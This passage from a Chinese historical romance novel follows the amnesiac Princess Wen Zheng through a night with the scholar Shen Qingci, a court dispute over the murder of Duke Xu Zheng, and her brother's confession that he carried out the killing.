沈青辞像是笑了,又像是没有,她看不见,却感到一丝温热的气息先喷到后脖,再后又贴到耳上,干燥的唇瓣擦着耳廓,很痒:“钱债没有,那——情债呢?”
夜半时分,雨声阵
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阵。
闻铮心头一惊,喃喃的像反省道:“我在风月之事向来检点,怎么会欠下情债?”
“不见得吧?”沈青辞嘲讽别人起来很有一手:“你今天还让我看呢!”
言下之意,这就是情债,而且他还是被欠下债的那个,他就是那个情债,要来讨债。
“我又没有让别人看。”闻铮不过脑子接了一嘴,立竿见影的让沈青辞消了气,后者不重不轻的在闻铮脖子上咬了一下,带着点缱绻的威胁:“那最好不过了,这种好品质要保持。”
“我是不是认识你?”闻铮隔着一层薄被感受环着那人猛然一僵,她想了半天,徒劳无功,什么都没有想起来,试探性问:“你,是不是我太子哥哥的门人?”
如今她这幅情形,大约只有太子曾经的门人还愿意帮她了,其余人不落井下石就已经不易了。
沈青辞没说话,鼻尖抵在闻铮的耳后,眸底暗了下去,显然这不是正确答案。
“抱歉,”闻铮背对着沈青辞,看不见那人脸上的失望:“我十六岁时伤了脑袋,有些事记不清。”
沈青辞直到闻铮睡着都没有再出声,素白的手指贴到长公主的脸上,眸光深沉,她的十六岁,亦是他的十八岁。
沈青辞动了动,埋首在她发间,怨恨无边无际,你这人,忘起来还真快,钱债两清,情债难还。
长公主,你欠我太多。
“再有第三次,我就忍不住了。”沈青辞声音暗哑,□□闻铮的耳垂,怀里的人有所感知似的动了,被他抱紧:“别动,隔靴搔痒,就当…就当是你乱放火的惩罚。”
长公主还是醒了,眼里雾色四起,沈青辞很熟悉她这么模样,鼻尖轻轻点过去:“筝筝。”
长公主有点冷,往被子里缩了缩,嘤咛了一声,问:“你吃糖了?嘴里好香。”
四目相对,沈青辞蛊惑道:“想要啊?筝筝。”语气暧昧,意图不详。
“嗯。”
“筝筝,我是谁?”他的唇瓣擦着闻铮的脸颊,像哄骗孩子的奇怪大人:“答对了,就给你。”
“任…深…”她好像认出了人,又好像没认出人,眼里的雾气惹人怜爱。
状元郎知道,外表坚韧勇敢的长公主骨子里还是那位等人疼爱的女子,她总是把自己装的很强大。
沈青辞捧着闻铮的下颌,温暖的指腹贴在长公主的耳后,随即狠狠的吻上去,轻车熟路的敲开了她的唇瓣,将嘴里的松子糖渡过去,声音暗哑的表扬:“答…对了…”
这一吻年轻的公子渴望更近一步,并不满足浅尝辄止的欲|望,松子糖在两人之间来回摩擦,点燃一点火焰。
“不是想要么?”沈青辞不高兴了,眼里有点凶,长公主却软了下来,软软的看着人,听见他说:“怎么又不要了?”
“没有…”长公主委屈了,眸色染泪。
“那就是要了。”
“含紧了,别再吐出来。”那颗糖又被渡回去了。
一夜无梦。
12. 善后
闻铮在潮湿的空气里嗅到了一点苍梧山的味道,迷迷糊糊中暗道她应该太怀念那段时光了,那时她有父母、有师傅、有师兄,几乎什么都有。
现在一切随风散。
雨停在破晓时分,沈青辞起身上朝,动作轻柔,怀里人还是醒了。
“还早,你在睡一会。”沈青辞一面起身一面将被角掖紧:“桌子有松子糖。”
闻铮懒懒地看着穿衣起身的人,嘴里残留着松子糖甜腻味,却想不起来什么时候吃的糖,她忽然恍惚冒出个不着边际的想法,这样的人倘若真要给出真心待人,怕是会把他的妻子宠坏了。
想到这里,闻铮又觉得可笑,这与她又有什么关系?真心是她最不需要考虑的问题。
雨过天晴,天光乍现,闻铮看着沈青辞的背影,终于意识到哪里不对了。
沈青辞穿着一身绯红官服!
状元郎出门时恰巧与苏茉碰面,沈青辞先点头示意:“长公主浅眠,若是探脉,请苏小姐稍侯。”
苏茉不置可否,端详了好半天沈青辞的背影才进门:“师姐,还好吗?我来探脉。”
闻筝手一伸,另一只手盖到脸上:“我这毛病什么时候能好?时不时忘记些事很麻烦。”
就像她现在想不起来昨晚到底发生了什么。
苏茉两指探脉,脑子里却飘着沈青辞的背影,那感觉太熟悉,问道:“你和沈青辞说过我会治病?”
苏茉在医术上天分寡淡,只会治一种病——长公主走火入魔的病,闻铮有一段时间习武急于求成,以至于走火入魔,她便在那时学会怎么医治。
但时不时失忆,苏茉到现在都根治不了。
“没有。”
苏茉目光暗了暗,道:“如果师兄在,你肯定早就痊愈了。”
“你说我师兄?早不知道在哪潇洒。”闻铮移开手,想不起来她这位师兄的样子了:“沈青辞在哪买的糖,为何回苦啊。”
***
沈青辞与邵景泽在午门相遇,两人抬起眼皮相互对视一眼,默契不作声。
乾清宫里愁云密布,颖国公徐正惨死,从天子至大臣无一不愤慨,要求严惩凶手,却不知道凶手是谁,一时之间众说纷纭,好不热闹。
直到镇北侯赵申提出国公府内高手如林,徐正死相残忍,非世仇且高手才能做到,吵闹不休的朝堂安静下来。
长公主闻铮非常符合这两个条件,是以有人说出闻铮二字。
邵景泽眼眸沉了沉,斜睨站在武将队中的赵申,端起双臂准备反驳,沈青辞先一步出列,再次抢了他要当英雄好汉的机会:“臣不敢苟同,长公主手脚经脉具断,已不能再起任何兵器。”
赵申反唇相讥:“这天下没有杀手可以买凶,没有兵器可以锻造…”
沈青辞抢过话头,掂掂袖子,平心静气:“没有证据可以胡编乱造。”
“你,”赵申一时语塞,扭头看着皇上。
当今皇上并没有受过正统礼教,除了一颗反叛的心,没有任何优点,话锋一转:“司徒大人怎么看?”
邵景泽向左跨出一步,面无改色:“臣认同定罪需要证据这句话。”
这就是不折不扣的支持沈青辞了。
邵景泽是邵雷的儿子,在旧朝毫无建树,要不是新朝哪能当上司徒大人?
赵申嘲弄:“要证据何其简单?只要长公主能去刑部大牢里走一趟,踏出牢房时还能不改口…”
“谁、敢?”邵景泽倨傲抬头,冷眼扫视一周,无人敢接这话:“我朝何时屈打成招?”
老一点的官员知道当年的秘幸,敬佩司徒大人英雄出少年,哑然不做声。
沈青辞自始自终没有动过气,清冷的君子一如往常平心静气:“臣可以为长公主证明,昨夜臣与长公主同床共枕,所以长公主有没有出门,臣比任何人都清楚。”
此话一出,大殿内落针可闻。
邵景泽斜过身,不错眼的盯着沈青辞,隐于宽大朝袍下的手逐渐攥紧,神色几变,无法平静,状元郎身上发皱的朝服刺得他眼眶欲裂,他记起来了,沈青辞来的路上坐落着公主府。
明明昨晚是他送闻铮回去的,怎么会突然跑出来沈青辞同床共枕?但依着闻铮个性,没有她的默许,沈青辞不够胆认,正是因为有长公主的默认,才最伤人。
公主府从不留人过夜。
邵景泽几不可察的疼了下。
“你的意思…”皇上没好意思往下说,这对新科状元来说是个侮辱,清流文人哪有给人当面首的?
沈青辞双眼微眯,唇角勾起,显然他不认为这是侮辱,反而这是无比高尚的荣耀,落地有声,好叫所有人都听到了:“臣,是长公主的面首。”
“嘭——”象牙笏板从中断了两截,邵景泽面色铁青,掌心一片血,好似不觉得疼。
***
大约是徐正死了,大仇报了一点点,以至于看见闻潮生厮混到现在回来,闻铮心情不错,没有计较。
闻潮生从前院绕了一圈,最后如同玄猫一般靠在长公主的榻上,声音烦闷:“你怎么不问问我去哪?”
闻铮放下手中帕子很奇怪:“我为什么要问?你已经是长大了。”
就像苏茉说的那样,闻潮生现在已经是乾安王了,她多少要留点面子。
闻潮生抬起眼皮与闻铮对视,就是这个眼神让他无力,一面拿他当最亲的人,哄着他什么夫妻一体,一面什么重要事情都不告诉他,之前拿他小孩子,现在又说他长大了。
他这个长姐,真的很不乖啊。
闻潮生眉间小痣一跳,问道:“你昨晚去哪了?”
闻铮愣了下,没想好怎么回答。杀人不过头点地,只是死的是徐正,她已经涉案其中,当然希望闻潮生干干净净,没必要踏入这趟浑水。
闻潮生眼底情绪复杂,不甘与恼怒并存,刹那动怒:“你还要隐瞒吗?说到底你还是不在意我!”
闻铮头疼,这东一句西一句在说什么呢?怎么能扯到在意不在意的问题上?
“什么人都可以与你并肩携手,什么人都可以与你共同进退!”不甘与恼怒越演越烈,像一把熊熊燃烧的烈火,把他从里到外都点燃了:“就我不行?!现在全朝堂都知道徐正死了,你还要瞒着我?”
他可以忍受闻铮独行,但无法忍受站在闻铮身边的人不是自己。
“徐正死了!”闻潮生胸口起伏,眸色凌厉:“死于一刀毙命!”
一刀毙命?
闻铮摇头,截口反驳:“不可能!徐正一定是血尽而亡!”
她费那么大劲把人吊起来就是要徐正也尝尝当年太子所受过的痛苦,一刀毙命也太便宜他了!
“所以,”闻潮生靠在闻铮腿上,情绪低落,阴测测的笑:“你承认昨晚你去了国公府了?”
长公主哑然失笑,用手指戳了戳闻潮生后脑勺:“鬼心眼儿见长,全用在你姐姐身上了。”
闻潮生不用回头也知道闻铮的手在哪,不费吹灰之力就把闻铮的手拉到胸前,喃喃道:“是姐姐先不坦诚的。”
好吧,闻铮妥协。
“此事凶险无比,我不希望你涉险。”
我不希望你涉险。
闻潮生将这几个字在心中翻来覆去的重复,火气消了一半。
他与所有人都不同,他是闻铮心里独一份的存在。那
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些人陪她涉险又如何,闻铮想保护的只有自己。
这么一想,闻潮生仰面望她:“我已经涉险了。”
闻铮皱眉。
“姐姐,你做事不干不净,下手优柔寡断,”闻潮生轻描淡写的点评:“我替你善后了。”
“你杀了他。”
“是。”闻潮生自小接受的教育便是成为男人首先一条,便是敢做敢认,他是这样想的,也是这样做的:“一刀毙命。”
闻铮重重的叹口气:“我想让你置身事外,你偏偏要踏进这场浑水里。”
闻潮生眉尖挑起一点笑,他是真心实意的,所以整个人都无比明媚,平静柔和:“姐姐,你相信那个人,不一定能做到。”
“今日早朝,沈青辞自认是你的面首,他避嫌,不得参与其中,”他说起这些时语气平静,挑拨离间的意气一点没减:“此案落入邵景泽手里了。”
闻铮倏忽抬眸,忽然生出一场巨大被愚弄的感觉,真是活见鬼了,沈青辞已经知晓她的用意,还是选择背叛?
闻潮生笑意渐甚,阴一句阳一句:“姐姐,你怎么能相信他呢?他与你有什么关系,沈青辞之前不也是领了彻查密道的差事么,你瞧,结果也相差无几。”
人心难测,出尔反尔是再正常不过的事情,闻铮规律的敲打桌子,什么原因会令沈青辞反水?
她眼眸暗了暗,不由自主的想到昨晚他问情债,心里忽然冒出一个很不切实际的想法。
我不会真的在哪处留过情吧?
这想法一冒出来就被她掐下去了,煽风点火的闻潮生幽幽叹道:“这些人怎么配得到你的信任呢?姐姐,只有我一直对你视若珍宝,只有我才能与你共甘共苦。”
闻铮垂首,闻潮生仰面,长久的对视里长公主错开眼。
闻潮生楚楚可怜,撑起点身子,与闻铮靠的更近一些,他并不去勾栏妓/院,无师自通学会这身本领,咬着字眼问:“姐姐,不信吗?”
姐姐,你信他人,会不会相信我?
闻铮一指点在闻潮生肩上,她虽拿不起花神剑,但不代表手无缚鸡之力。
闻潮生垂眼望着右肩上的指尖,修长白皙,常年不练剑导致指腹的薄茧褪去,他唇角突然勾点笑意,把握指尖力度沉下去,微微叹气:“姐姐——”
“别撒娇了——”闻铮无奈,闻潮生撒娇天赋与生俱来,从小很会讨父皇母后欢心,但对于差不多同龄的太子与闻铮而言毫无杀伤力,他们根本不吃这套。
“敢问乾安王,现如今几岁了?”闻铮沉着脸:“动不动就撒娇的毛病能不能改一下?”
闻潮生辩驳:“该反思的应该是姐姐,我怎么不对其他人撒娇,偏要对姐姐撒娇?”
好荒唐又理直气壮的理由!闻铮差一点就被说服了。
“所谓恃宠而骄,”闻铮暗叹自己果然不是那种古板严厉的长辈,惯起孩子也是没样子:“大约是我平日太宠你了。”
闻潮生偏头笑了:“姐姐,你宠的远远不够啊。”
闻铮按着眉心,无比惆怅,这还不够吗?那还要怎么宠?宠到每日上房揭瓦吗?
当好一个姐姐可真是不容易。
不过眼下最重要的问题不是在宠爱上,徐正的案子落到邵景泽手里,他们都知道这意味什么。
“你有留下什么吗?”闻铮问道:“姐姐替你善后。”
闻潮生屈起一只腿,眸色一动,“宠爱”二字最后落到“善后”上,是另一番的宠,不一样的爱。
“不用了,我做事向来干净。邵景泽想查也查不到我头上。”
闻铮眼神动了一下。
那么需要善后的就是自己了。